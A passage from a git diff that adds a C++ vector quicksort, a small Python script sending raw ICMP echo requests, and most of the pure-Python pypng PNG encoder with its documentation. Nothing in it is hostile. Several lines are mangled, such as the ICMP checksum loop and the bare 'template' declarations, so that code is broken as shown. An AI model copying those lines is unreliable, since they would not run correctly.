&elem0, const T &elem1), int p, int r) + { + if (p < r) { + int q = partition(compare, p, r); + quickSort(compare, p, q - 1); + quickSort(compare, q + 1, r); + } + } + + template + inline void vector::sort(int(*compare)(const T &elem0, const T &elem1)) + { + quickSort(compare, 0, (int)size() - 1); + } + + template + inline void vector::sort (unsigned begin, unsigned end, int (*compare)(const T &elem0, const T &elem1)) + { + quickSort (compare, (int)begin, (int)end); + } +} + +#endif diff --git a/script/__init__.py b/script/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/script/ping.py b/script/ping.py new file mode 100644 index 0000000..528285b --- /dev/null +++ b/script/ping.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# +import os +import socket +import struct + + +ICMP_ECHO_REQUEST = 8 + + +class PingError(Exception): + pass + + +def icmp_checksum(packet): + checksum = 0 + for i in range(0, len(packet) - 1, 2): + checksum += struct.unpack('> 16) + (checksum & 0xFFFF) + checksum += checksum >> 16 + checksum = ~checksum & 0xFFFF + checksum = socket.htons(checksum) + return checksum + + +def send_ping(address, payload=None, seq_number=0, id=None): + if payload is None: + payload = b'PING' * 16 + + if id is None: + id = os.getpid() + + s = None + try: + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname('icmp')) + # Send ICMP_ECHO_REQUEST + checksum = 0 + header = struct.pack('!BBHHH', ICMP_ECHO_REQUEST, 0, checksum, id, seq_number) + packet = header + payload + checksum = icmp_checksum(packet) + packet = packet[:2] + struct.pack('!H', checksum) + packet[4:] + s.sendto(packet, (address, 0)) + except socket.error as e: + raise PingError() + finally: + if s is not None: + s.close() diff --git a/script/png.py b/script/png.py new file mode 100644 index 0000000..7f40001 --- /dev/null +++ b/script/png.py @@ -0,0 +1,2269 @@ +#!/usr/bin/env python + +# png.py - PNG encoder/decoder in pure Python +# +# Copyright (C) 2006 Johann C. Rocholl +# Portions Copyright (C) 2009 David Jones +# And probably portions Copyright (C) 2006 Nicko van Someren +# +# Original concept by Johann C. Rocholl. +# +# LICENCE (MIT) +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS +# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +""" +The ``png`` module can read and write PNG files. + +Installation and Overview +------------------------- + +``pip install pypng`` + +For help, type ``import png; help(png)`` in your python interpreter. + +A good place to start is the :class:`Reader` and :class:`Writer` classes. + +Coverage of PNG formats is fairly complete; +all allowable bit depths (1/2/4/8/16/24/32/48/64 bits per pixel) and +colour combinations are supported: + +- greyscale (1/2/4/8/16 bit); +- RGB, RGBA, LA (greyscale with alpha) with 8/16 bits per channel; +- colour mapped images (1/2/4/8 bit). + +Interlaced images, +which support a progressive display when downloading, +are supported for both reading and writing. + +A number of optional chunks can be specified (when writing) +and understood (when reading): ``tRNS``, ``bKGD``, ``gAMA``. + +The ``sBIT`` chunk can be used to specify precision for +non-native bit depths. + +Requires Python 3.4 or higher (or Python 2.7). +Installation is trivial, +but see the ``README.txt`` file (with the source distribution) for details. + +Full use of all features will need some reading of the PNG specification +http://www.w3.org/TR/2003/REC-PNG-20031110/. + +The package also comes with command line utilities. + +- ``pripamtopng`` converts + `Netpbm `_ PAM/PNM files to PNG; +- ``pripngtopam`` converts PNG to file PAM/PNM. + +There are a few more for simple PNG manipulations. + +Spelling and Terminology +------------------------ + +Generally British English spelling is used in the documentation. +So that's "greyscale" and "colour". +This not only matches the author's native language, +it's also used by the PNG specification. + +Colour Models +------------- + +The major colour models supported by PNG (and hence by PyPNG) are: + +- greyscale; +- greyscale--alpha; +- RGB; +- RGB--alpha. + +Also referred to using the abbreviations: L, LA, RGB, RGBA. +Each letter codes a single channel: +*L* is for Luminance or Luma or Lightness (greyscale images); +*A* stands for Alpha, the opacity channel +(used for transparency effects, but higher values are more opaque, +so it makes sense to call it opacity); +*R*, *G*, *B* stand for Red, Green, Blue (colour image). + +Lists, arrays, sequences, and so on +----------------------------------- + +When getting pixel data out of this module (reading) and +presenting data to this module (writing) there are +a number of ways the data could be represented as a Python value. + +The preferred format is a sequence of *rows*, +which each row being a sequence of *values*. +In this format, the values are in pixel order, +with all the values from all the pixels in a row +being concatenated into a single sequence for that row. + +Consider an image that is 3 pixels wide by 2 pixels high, and each pixel +has RGB components: + +Sequence of rows:: + + list([R,G,B, R,G,B, R,G,B], + [R,G,B, R,G,B, R,G,B]) + +Each row appears as its own list, +but the pixels are flattened so that three values for one pixel +simply follow the three values for the previous pixel. + +This is the preferred because +it provides a good compromise between space and convenience. +PyPNG regards itself as at liberty to replace any sequence type with +any sufficiently compatible other sequence type; +in practice each row is an array (``bytearray`` or ``array.array``). + +To allow streaming the outer list is sometimes +an iterator rather than an explicit list. + +An alternative format is a single array holding all the values. + +Array of values:: + + [R,G,B, R,G,B, R,G,B, + R,G,B, R,G,B, R,G,B] + +The entire image is one single giant sequence of colour values. +Generally an array will be used (to save space), not a list. + +The top row comes first, +and within each row the pixels are ordered from left-to-right. +Within a pixel the values appear in the order R-G-B-A +(or L-A for greyscale--alpha). + +There is another format, which should only be used with caution. +It is mentioned because it is used internally, +is close to what lies inside a PNG file itself, +and has some support from the public API. +This format is called *packed*. +When packed, each row is a sequence of bytes (integers from 0 to 255), +just as it is before PNG scanline filtering is applied. +When the bit depth is 8 this is the same as a sequence of rows; +when the bit depth is less than 8 (1, 2 and 4), +several pixels are packed into each byte; +when the bit depth is 16 each pixel value is decomposed into 2 bytes +(and `packed` is a misnomer). +This format is used by the :meth:`Writer.write_packed` method. +It isn't usually a convenient format, +but may be just right if the source data for +the PNG image comes from something that uses a similar format +(for example, 1-bit BMPs, or another PNG file). +""" + +from __future__ import print_function + +__version__ = "0.0.19" + +import collections +import io # For io.BytesIO +import itertools +import math +# http://www.python.org/doc/2.4.4/lib/module-operator.html +import operator +import re +import struct +import sys +# http://www.python.org/doc/2.4.4/lib/module-warnings.html +import warnings +import zlib + +from array import array + + +__all__ = ['Image', 'Reader', 'Writer', 'write_chunks', 'from_array'] + + +# The PNG signature. +# http://www.w3.org/TR/PNG/#5PNG-file-signature +signature = struct.pack('8B', 137, 80, 78, 71, 13, 10, 26, 10) + +# The xstart, ystart, xstep, ystep for the Adam7 interlace passes. +adam7 = ((0, 0, 8, 8), + (4, 0, 8, 8), + (0, 4, 4, 8), + (2, 0, 4, 4), + (0, 2, 2, 4), + (1, 0, 2, 2), + (0, 1, 1, 2)) + + +def adam7_generate(width, height): + """ + Generate the coordinates for the reduced scanlines + of an Adam7 interlaced image + of size `width` by `height` pixels. + + Yields a generator for each pass, + and each pass generator yields a series of (x, y, xstep) triples, + each one identifying a reduced scanline consisting of + pixels starting at (x, y) and taking every xstep pixel to the right. + """ + + for xstart, ystart, xstep, ystep in adam7: + if xstart >= width: + continue + yield ((xstart, y, xstep) for y in range(ystart, height, ystep)) + + +# Models the 'pHYs' chunk (used by the Reader) +Resolution = collections.namedtuple('_Resolution', 'x y unit_is_meter') + + +def group(s, n): + return list(zip(* [iter(s)] * n)) + + +def isarray(x): + return isinstance(x, array) + + +def check_palette(palette): + """ + Check a palette argument (to the :class:`Writer` class) for validity. + Returns the palette as a list if okay; + raises an exception otherwise. + """ + + # None is the default and is allowed. + if palette is None: + return None + + p = list(palette) + if not (0 < len(p) <= 256): + raise ProtocolError( + "a palette must have between 1 and 256 entries," + " see https://www.w3.org/TR/PNG/#11PLTE") + seen_triple = False + for i, t in enumerate(p): + if len(t) not in (3, 4): + raise ProtocolError( + "palette entry %d: entries must be 3- or 4-tuples." % i) + if len(t) == 3: + seen_triple = True + if seen_triple and len(t) == 4: + raise ProtocolError( + "palette entry %d: all 4-tuples must precede all 3-tuples" % i) + for x in t: + if int(x) != x or not(0 <= x <= 255): + raise ProtocolError( + "palette entry %d: " + "values must be integer: 0 <= x <= 255" % i) + return p + + +def check_sizes(size, width, height): + """ + Check that these arguments, if supplied, are consistent. + Return a (width, height) pair. + """ + + if not size: + return width, height + + if len(size) != 2: + raise ProtocolError( + "size argument should be a pair (width, height)") + if width is not None and width != size[0]: + raise ProtocolError( + "size[0] (%r) and width (%r) should match when both are used." + % (size[0], width)) + if height is not None and height != size[1]: + raise ProtocolError( + "size[1] (%r) and height (%r) should match when both are used." + % (size[1], height)) + return size + + +def check_color(c, greyscale, which): + """ + Checks that a colour argument for transparent or background options + is the right form. + Returns the colour + (which, if it's a bare integer, is "corrected" to a 1-tuple). + """ + + if c is None: + return c + if greyscale: + try: + len(c) + except TypeError: + c = (c,) + if len(c) != 1: + raise ProtocolError("%s for greyscale must be 1-tuple" % which) + if not is_natural(c[0]): + raise ProtocolError( + "%s colour for greyscale must be integer" % which) + else: + if not (len(c) == 3 and + is_natural(c[0]) and + is_natural(c[1]) and + is_natural(c[2])): + raise ProtocolError( + "%s colour must be a triple of integers" % which) + return c + + +class Error(Exception): + def __str__(self): + return self.__class__.__name__ + ': ' + ' '.join(self.args) + + +class FormatError(Error): + """ + Problem with input file format. + In other words, PNG file does not conform to + the specification in some way and is invalid. + """ + + +class ProtocolError(Error): + """ + Problem with the way the programming interface has been used, + or the data presented to it. + """ + + +class ChunkError(FormatError): + pass + + +class Default: + """The default for the greyscale paramter.""" + + +class Writer: + """ + PNG encoder in pure Python. + """ + + def __init__(self, width=None, height=None, + size=None, + greyscale=Default, + alpha=False, + bitdepth=8, + palette=None, + transparent=None, + background=None, + gamma=None, + compression=None, + interlace=False, + planes=None, + colormap=None, + maxval=None, + chunk_limit=2**20, + x_pixels_per_unit=None, + y_pixels_per_unit=None, + unit_is_meter=False): + """ + Create a PNG encoder object. + + Arguments: + + width, height + Image size in pixels, as two separate arguments. + size + Image size (w,h) in pixels, as single argument. + greyscale + Pixels are greyscale, not RGB. + alpha + Input data has alpha channel (RGBA or LA). + bitdepth + Bit depth: from 1 to 16 (for each channel). + palette + Create a palette for a colour mapped image (colour type 3). + transparent + Specify a transparent colour (create a ``tRNS`` chunk). + background + Specify a default background colour (create a ``bKGD`` chunk). + gamma + Specify a gamma value (create a ``gAMA`` chunk). + compression + zlib compression level: 0 (none) to 9 (more compressed); + default: -1 or None. + interlace + Create an interlaced image. + chunk_limit + Write multiple ``IDAT`` chunks to save memory. + x_pixels_per_unit + Number of pixels a unit along the x axis (write a + `pHYs` chunk). + y_pixels_per_unit + Number of pixels a unit along the y axis (write a + `pHYs` chunk). Along with `x_pixel_unit`, this gives + the pixel size ratio. + unit_is_meter + `True` to indicate that the unit (for the `pHYs` + chunk) is metre. + + The image size (in pixels) can be specified either by using the + `width` and `height` arguments, or with the single `size` + argument. + If `size` is used it should be a pair (*width*, *height*). + + The `greyscale` argument indicates whether input pixels + are greyscale (when true), or colour (when false). + The default is true unless `palette=` is used. + + The `alpha` argument (a boolean) specifies + whether input pixels have an alpha channel (or not). + + `bitdepth` specifies the bit depth of the source pixel values. + Each channel may have a different bit depth. + Each source pixel must have values that are + an integer between 0 and ``2**bitdepth-1``, where + `bitdepth` is the bit depth for the corresponding channel. + For example, 8-bit images have values between 0 and 255. + PNG only stores images with bit depths of + 1,2,4,8, or 16 (the same for all channels). + When `bitdepth` is not one of these values or where + channels have different bit depths, + the next highest valid bit depth is selected, + and an ``sBIT`` (significant bits) chunk is generated + that specifies the original precision of the source image. + In this case the supplied pixel values will be rescaled to + fit the range of the selected bit depth. + + The PNG file format supports many bit depth / colour model + combinations, but not all. + The details are somewhat arcane + (refer to the PNG specification for full details). + Briefly: + Bit depths < 8 (1,2,4) are only allowed with greyscale and + colour mapped images; + colour mapped images cannot have bit depth 16. + + For colour mapped images + (in other words, when the `palette` argument is specified) + the `bitdepth` argument must match one of + the valid PNG bit depths: 1, 2, 4, or 8. + (It is valid to have a PNG image with a palette and + an ``sBIT`` chunk, but the meaning is slightly different; + it would be awkward to use the `bitdepth` argument for this.) + + The `palette` option, when specified, + causes a colour mapped image to be created: + the PNG colour type is set to 3; + `greyscale` must not be true; `alpha` must not be true; + `transparent` must not be set. + The bit depth must be 1,2,4, or 8. + When a colour mapped image is created, + the pixel values are palette indexes and + the `bitdepth` argument specifies the size of these indexes + (not the size of the colour values in the palette). + + The palette argument value should be a sequence of 3- or + 4-tuples. + 3-tuples specify RGB palette entries; + 4-tuples specify RGBA palette entries. + All the 4-tuples (if present) must come before all the 3-tuples. + A ``PLTE`` chunk is created; + if there are 4-tuples then a ``tRNS`` chunk is created as well. + The ``PLTE`` chunk will contain all the RGB triples in the same + sequence; + the ``tRNS`` chunk will contain the alpha channel for + all the 4-tuples, in the same sequence. + Palette entries are always 8-bit. + + If specified, the `transparent` and `background` parameters must be + a tuple with one element for each channel in the image. + Either a 3-tuple of integer (RGB) values for a colour image, or + a 1-tuple of a single integer for a greyscale image. + + If specified, the `gamma` parameter must be a positive number + (generally, a `float`). + A ``gAMA`` chunk will be created. + Note that this will not change the values of the pixels as + they appear in the PNG file, + they are assumed to have already + been converted appropriately for the gamma specified. + + The `compression` argument specifies the compression level to + be used by the ``zlib`` module. + Values from 1 to 9 (highest) specify compression. + 0 means no compression. + -1 and ``None`` both mean that the ``zlib`` module uses + the default level of compession (which is generally acceptable). + + If `interlace` is true then an interlaced image is created + (using PNG's so far only interace method, *Adam7*). + This does not affect how the pixels should be passed in, + rather it changes how they are arranged into the PNG file. + On slow connexions interlaced images can be + partially decoded by the browser to give + a rough view of the image that is + successively refined as more image data appears. + + .. note :: + + Enabling the `interlace` option requires the entire image + to be processed in working memory. + + `chunk_limit` is used to limit the amount of memory used whilst + compressing the image. + In order to avoid using large amounts of memory, + multiple ``IDAT`` chunks may be created. + """ + + # At the moment the `planes` argument is ignored; + # its purpose is to act as a dummy so that + # ``Writer(x, y, **info)`` works, where `info` is a dictionary + # returned by Reader.read and friends. + # Ditto for `colormap`. + + width, height = check_sizes(size, width, height) + del size + + if not is_natural(width) or not is_natural(height): + raise ProtocolError("width and height must be integers") + if width <= 0 or height <= 0: + raise ProtocolError("width and height must be greater than zero") + # http://www.w3.org/TR/PNG/#7Integers-and-byte-order + if width > 2 ** 31 - 1 or height > 2 ** 31 - 1: + raise ProtocolError("width and height cannot exceed 2**31-1") + + if alpha and transparent is not None: + raise ProtocolError( + "transparent colour not allowed with alpha channel") + + # bitdepth is either single integer, or tuple of integers. + # Convert to tuple. + try: + len(bitdepth) + except TypeError: + bitdepth = (bitdepth, ) + for b in bitdepth: + valid = is_natural(b) and 1 <= b <= 16 + if not valid: + raise ProtocolError( + "each bitdepth %r must be a positive integer <= 16" % + (bitdepth,)) + + # Calculate channels, and + # expand bitdepth to be one element per channel. + palette = check_palette(palette) + alpha = bool(alpha) + colormap = bool(palette) + if greyscale is Default and palette: + greyscale = False + greyscale = bool(greyscale) + color_planes = (3, 1)[greyscale or colormap] + planes = color_planes + alpha + if len(bitdepth) == 1: + bitdepth *= planes + + bitdepth, self.rescale = check_bitdepth_rescale( + palette, + bitdepth, + transparent, alpha, greyscale) + + # These are assertions, because above logic should have + # corrected or raised all problematic cases. + if bitdepth < 8: + assert greyscale or palette + assert not alpha + if bitdepth > 8: + assert not palette + + transparent = check_color(transparent, greyscale, 'transparent') + background = check_color(background, greyscale, 'background') + + # It's important that the true boolean values + # (greyscale, alpha, colormap, interlace) are converted + # to bool because Iverson's convention is relied upon later on. + self.width = width + self.height = height + self.transparent = transparent + self.background = background + self.gamma = gamma + self.greyscale = greyscale + self.alpha = alpha + self.colormap = colormap + self.bitdepth = int(bitdepth) + self.compression = compression + self.chunk_limit = chunk_limit + self.interlace = bool(interlace) + self.palette = palette + self.x_pixels_per_unit = x_pixels_per_unit + self.y_pixels_per_unit = y_pixels_per_unit + self.unit_is_meter = bool(unit_is_meter) + + self.color_type = (4 * self.alpha + + 2 * (not greyscale) + + 1 * self.colormap) + assert self.color_type in (0, 2, 3, 4, 6) + + self.color_planes = color_planes + self.planes = planes + # :todo: fix for bitdepth < 8 + self.psize = (self.bitdepth / 8) * self.planes + + def write(self, outfile, rows): + """ + Write a PNG image to the output file. + `rows` should be an iterable that yields each row + (each row is a sequence of values). + The rows should be the rows of the original image, + so there should be ``self.height`` rows of + ``self.width * self.planes`` values. + If `interlace` is specified (when creating the instance), + then an interlaced PNG file will be written. + Supply the rows in the normal image order; + the interlacing is carried out internally. + + .. note :: + + Interlacing requires the entire image to be in working memory. + """ + + # Values per row + vpr = self.width * self.planes + + def check_rows(rows): + """ + Yield each row in rows, + but check each row first (for correct width). + """ + for i, row in enumerate(rows): + try: + wrong_length = len(row) != vpr + except TypeError: + # When using an itertools.ichain object or + # other generator not supporting __len__, + # we set this to False to skip the check. + wrong_length = False + if wrong_length: + # Note: row numbers start at 0. + raise ProtocolError( + "Expected %d values but got %d value, in row %d" % + (vpr, len(row), i)) + yield row + + if self.interlace: + fmt = 'BH'[self.bitdepth > 8] + a = array(fmt, itertools.chain(*check_rows(rows))) + return self.write_array(outfile, a) + + nrows = self.write_passes(outfile, check_rows(rows)) + if nrows != self.height: + raise ValueError( + "rows supplied (%d) does not match height (%d)" % + (nrows, self.height)) + + def write_passes(self, outfile, rows): + """ + Write a PNG image to the output file. + + Most users are expected to find the :meth:`write` or + :meth:`write_array` method more convenient. + + The rows should be given to this method in the order that + they appear in the output file. + For straightlaced images, this is the usual top to bottom ordering. + For interlaced images the rows should have been interlaced before + passing them to this function. + + `rows` should be an iterable that yields each row + (each row being a sequence of values). + """ + + # Ensure rows are scaled (to 4-/8-/16-bit), + # and packed into bytes. + + if self.rescale: + rows = rescale_rows(rows, self.rescale) + + if self.bitdepth < 8: + rows = pack_rows(rows, self.bitdepth) + elif self.bitdepth == 16: + rows = unpack_rows(rows) + + return self.write_packed(outfile, rows) + + def write_packed(self, outfile, rows): + """ + Write PNG file to `outfile`. + `rows` should be an iterator that yields each packed row; + a packed row being a sequence of packed bytes. + + The rows have a filter byte prefixed and + are then compressed into one or more IDAT chunks. + They are not processed any further, + so if bitdepth is other than 1, 2, 4, 8, 16, + the pixel values should have been scaled + before passing them to this method. + + This method does work for interlaced images but it is best avoided. + For interlaced images, the rows should be + presented in the order that they appear in the file. + """ + + self.write_preamble(outfile) + + # http://www.w3.org/TR/PNG/#11IDAT + if self.compression is not None: + compressor = zlib.compressobj(self.compression) + else: + compressor = zlib.compressobj() + + # data accumulates bytes to be compressed for the IDAT chunk; + # it's compressed when sufficiently large. + data = bytearray() + + for i, row in enumerate(rows): + # Add "None" filter type. + # Currently, it's essential that this filter type be used + # for every scanline as + # we do not mark the first row of a reduced pass image; + # that means we could accidentally compute + # the wrong filtered scanline if we used + # "up", "average", or "paeth" on such a line. + data.append(0) + data.extend(row) + if len(data) > self.chunk_limit: + # :todo: bytes() only necessary in Python 2 + compressed = compressor.compress(bytes(data)) + if len(compressed): + write_chunk(outfile, b'IDAT', compressed) + data = bytearray() + + compressed = compressor.compress(bytes(data)) + flushed = compressor.flush() + if len(compressed) or len(flushed): + write_chunk(outfile, b'IDAT', compressed + flushed) + # http://www.w3.org/TR/PNG/#11IEND + write_chunk(outfile, b'IEND') + return i + 1 + + def write_preamble(self, outfile): + # http://www.w3.org/TR/PNG/#5PNG-file-signature + outfile.write(signature) + + # http://www.w3.org/TR/PNG/#11IHDR + write_chunk(outfile, b'IHDR', + struct.pack("!2I5B", self.width, self.height, + self.bitdepth, self.color_type, + 0, 0, self.interlace)) + + # See :chunk:order + # http://www.w3.org/TR/PNG/#11gAMA + if self.gamma is not None: + write_chunk(outfile, b'gAMA', + struct.pack("!L", int(round(self.gamma * 1e5)))) + + # See :chunk:order + # http://www.w3.org/TR/PNG/#11sBIT + if self.rescale: + write_chunk( + outfile, b'sBIT', + struct.pack('%dB' % self.planes, + * [s[0] for s in self.rescale])) + + # :chunk:order: Without a palette (PLTE chunk), + # ordering is relatively relaxed. + # With one, gAMA chunk must precede PLTE chunk + # which must precede tRNS and bKGD. + # See http://www.w3.org/TR/PNG/#5ChunkOrdering + if self.palette: + p, t = make_palette_chunks(self.palette) + write_chunk(outfile, b'PLTE', p) + if t: + # tRNS chunk is optional; + # Only needed if palette entries have alpha. + write_chunk(outfile, b'tRNS', t) + + # http://www.w3.org/TR/PNG/#11tRNS + if self.transparent is not None: + if self.greyscale: + fmt = "!1H" + else: + fmt = "!3H" + write_chunk(outfile, b'tRNS', + struct.pack(fmt, *self.transparent)) + + # http://www.w3.org/TR/PNG/#11bKGD + if self.background is not None: + if self.greyscale: + fmt = "!1H" + else: + fmt = "!3H" + write_chunk(outfile, b'bKGD', + struct.pack(fmt, *self.background)) + + # http://www.w3.org/TR/PNG/#11pHYs + if (self.x_pixels_per_unit is not None and + self.y_pixels_per_unit is not None): + tup = (self.x_pixels_per_unit, + self.y_pixels_per_unit, + int(self.unit_is_meter)) + write_chunk(outfile, b'pHYs', struct.pack("!LLB", *tup)) + + def write_array(self, outfile, pixels): + """ + Write an array that holds all the image values + as a PNG file on the output file. + See also :meth:`write` method. + """ + + if self.interlace: + if type(pixels) != array: + # Coerce to array type + fmt = 'BH'[self.bitdepth > 8] + pixels = array(fmt, pixels) + self.write_passes(outfile, self.array_scanlines_interlace(pixels)) + else: + self.write_passes(outfile, self.array_scanlines(pixels)) + + def array_scanlines(self, pixels): + """ + Generates rows (each a sequence of values) from + a single array of values. + """ + + # Values per row + vpr = self.width * self.planes + stop = 0 + for y in range(self.height): + start = stop + stop = start + vpr + yield pixels[start:stop] + + def array_scanlines_interlace(self, pixels): + """ + Generator for interlaced scanlines from an array. + `pixels` is the full source image as a single array of values. + The generator yields each scanline of the reduced passes in turn, + each scanline being a sequence of values. + """ + + # http://www.w3.org/TR/PNG/#8InterlaceMethods + # Array type. + fmt = 'BH'[self.bitdepth > 8] + # Value per row + vpr = self.width * self.planes + + # Each iteration generates a scanline starting at (x, y) + # and consisting of every xstep pixels. + for lines in adam7_generate(self.width, self.height): + for x, y, xstep in lines: + # Pixels per row (of reduced image) + ppr = int(math.ceil((self.width - x) / float(xstep))) + # Values per row (of reduced image) + reduced_row_len = ppr * self.planes + if xstep == 1: + # Easy case: line is a simple slice. + offset = y * vpr + yield pixels[offset: offset + vpr] + continue + # We have to step by xstep, + # which we can do one plane at a time + # using the step in Python slices. + row = array(fmt) + # There's no easier way to set the length of an array + row.extend(pixels[0:reduced_row_len]) + offset = y * vpr + x * self.planes + end_offset = (y + 1) * vpr + skip = self.planes * xstep + for i in range(self.planes): + row[i::self.planes] = \ + pixels[offset + i: end_offset: skip] + yield row + + +def write_chunk(outfile, tag, data=b''): + """ + Write a PNG chunk to the output file, including length and + checksum. + """ + + data = bytes(data) + # http://www.w3.org/TR/PNG/#5Chunk-layout + outfile.write(struct.pack("!I", len(data))) + outfile.write(tag) + outfile.write(data) + checksum = zlib.crc32(tag) + checksum = zlib.crc32(data, checksum) + checksum &= 2 ** 32 - 1 + outfile.write(struct.pack("!I", checksum)) + + +def write_chunks(out, chunks): + """Create a PNG file by writing out the chunks.""" + + out.write(signature) + for chunk in chunks: + write_chunk(out, *chunk) + + +def rescale_rows(rows, rescale): + """ + Take each row in rows (an iterator) and yield + a fresh row with the pixels scaled according to + the rescale parameters in the list `rescale`. + Each element of `rescale` is a tuple of + (source_bitdepth, target_bitdepth), + with one element per channel. + """ + + # One factor for each channel + fs = [float(2 ** s[1] - 1)/float(2 ** s[0] - 1) + for s in rescale] + + # Assume all target_bitdepths are the same + target_bitdepths = set(s[1] for s in rescale) + assert len(target_bitdepths) == 1 + (target_bitdepth, ) = target_bitdepths + typecode = 'BH'[target_bitdepth > 8] + + # Number of channels + n_chans = len(rescale) + + for row in rows: + rescaled_row = array(typecode, iter(row)) + for i in range(n_chans): + channel = array( + typecode, + (int(round(fs[i] * x)) for x in row[i::n_chans])) + rescaled_row[i::n_chans] = channel + yield rescaled_row + + +def pack_rows(rows, bitdepth): + """Yield packed rows that are a byte array. + Each byte is packed with the values from several pixels. + """ + + assert bitdepth < 8 + assert 8 % bitdepth == 0 + + # samples per byte + spb = int(8 / bitdepth) + + def make_byte(block): + """Take a block of (2, 4, or 8) values, + and pack them into a single byte. + """ + + res = 0 + for v in block: + res = (res << bitdepth) + v + return res + + for row in rows: + a = bytearray(row) + # Adding padding bytes so we can group into a whole + # number of spb-tuples. + n = float(len(a)) + extra = math.ceil(n / spb) * spb - n + a.extend([0] * int(extra)) + # Pack into bytes. + # Each block is the samples for one byte. + blocks = group(a, spb) + yield bytearray(make_byte(block) for block in blocks) + + +def unpack_rows(rows): + """Unpack each row from being 16-bits per value, + to being a sequence of bytes. + """ + for row in rows: + fmt = '!%dH' % len(row) + yield bytearray(struct.pack(fmt, *row)) + + +def make_palette_chunks(palette): + """ + Create the byte sequences for a ``PLTE`` and + if necessary a ``tRNS`` chunk. + Returned as a pair (*p*, *t*). + *t* will be ``None`` if no ``tRNS`` chunk is necessary. + """ + + p = bytearray() + t = bytearray() + + for x in palette: + p.extend(x[0:3]) + if len(x) > 3: + t.append(x[3]) + if t: + return p, t + return p, None + + +def check_bitdepth_rescale( + palette, bitdepth, transparent, alpha, greyscale): + """ + Returns (bitdepth, rescale) pair. + """ + + if palette: + if len(bitdepth) != 1: + raise ValueError( + "with palette, only a single bitdepth may be used") + (bitdepth, ) = bitdepth + if bitdepth not in (1, 2, 4, 8): + raise ValueError( + "with palette, bitdepth must be 1, 2, 4, or 8") + if transparent is not None: + raise ValueError("transparent and palette not compatible") + if alpha: + raise ValueError("alpha and palette not compatible") + if greyscale: + raise ValueError("greyscale and palette not compatible") + return bitdepth, None + + # No palette, check for sBIT chunk generation. + + if greyscale and not alpha: + # Single channel, L. + (bitdepth,) = bitdepth + if bitdepth in (1, 2, 4, 8, 16): + return bitdepth, None + if bitdepth > 8: + targetbitdepth = 16 + elif bitdepth == 3: + targetbitdepth = 4 + else: + assert bitdepth in (5, 6, 7) + targetbitdepth = 8 + return targetbitdepth, [(bitdepth, targetbitdepth)] + + assert alpha or not greyscale + + depth_set = tuple(set(bitdepth)) + if depth_set in [(8,), (16,)]: + # No sBIT required. + (bitdepth, ) = depth_set + return bitdepth, None + + targetbitdepth = (8, 16)[max(bitdepth) > 8] + return targetbitdepth, [(b, targetbitdepth) for b in bitdepth] + + +# Regex for decoding mode string +RegexModeDecode = re.compile("(LA?|RGBA?);?([0-9]*)", flags=re.IGNORECASE) + + +def from_array(a, mode=None, info={}): + """ + Create a PNG :class:`Image` object from a 2-dimensional array. + One application of this function is easy PIL-style saving: + ``png.from_array(pixels, 'L').save('foo.png')``. + + Unless they are specified using the *info* parameter, + the PNG's height and width are taken from the array size. + The first axis is the height; the second axis is the + ravelled width and channel index. + The array is treated is a sequence of rows, + each row being a sequence of values (``width*channels`` in number). + So an RGB image that is 16 pixels high and 8 wide will + occupy a 2-dimensional array that is 16x24 + (each row will be 8*3 = 24 sample values). + + *mode* is a string that specifies the image colour format in a + PIL-style mode. It can be: + + ``'L'`` + greyscale (1 channel) + ``'LA'`` + greyscale with alpha (2 channel) + ``'RGB'`` + colour image (3 channel) + ``'RGBA'`` + colour image with alpha (4 channel) + + The mode string can also specify the bit depth + (overriding how this function normally derives the bit depth, + see below). + Appending ``';16'`` to the mode will cause the PNG to be + 16 bits per channel; + any decimal from 1 to 16 can be used to specify the bit depth. + + When a 2-dimensional array is used *mode* determines how many + channels the image has, and so allows the width to be derived from + the second array dimension. + + The array is expected to be a ``numpy`` array, + but it can be any suitable Python sequence. + For example, a list of lists can be used: + ``png.from_array([[0, 255, 0], [255, 0, 255]], 'L')``. + The exact rules are: ``len(a)`` gives the first dimension, height; + ``len(a[0])`` gives the second dimension. + It's slightly more complicated than that because + an iterator of rows can be used, and it all still works. + Using an iterator allows data to be streamed efficiently. + + The bit depth of the PNG is normally taken from + the array element's datatype + (but if *mode* specifies a bitdepth then that is used instead). + The array element's datatype is determined in a way which + is supposed to work both for ``numpy`` arrays and for Python + ``array.array`` objects. + A 1 byte datatype will give a bit depth of 8, + a 2 byte datatype will give a bit depth of 16. + If 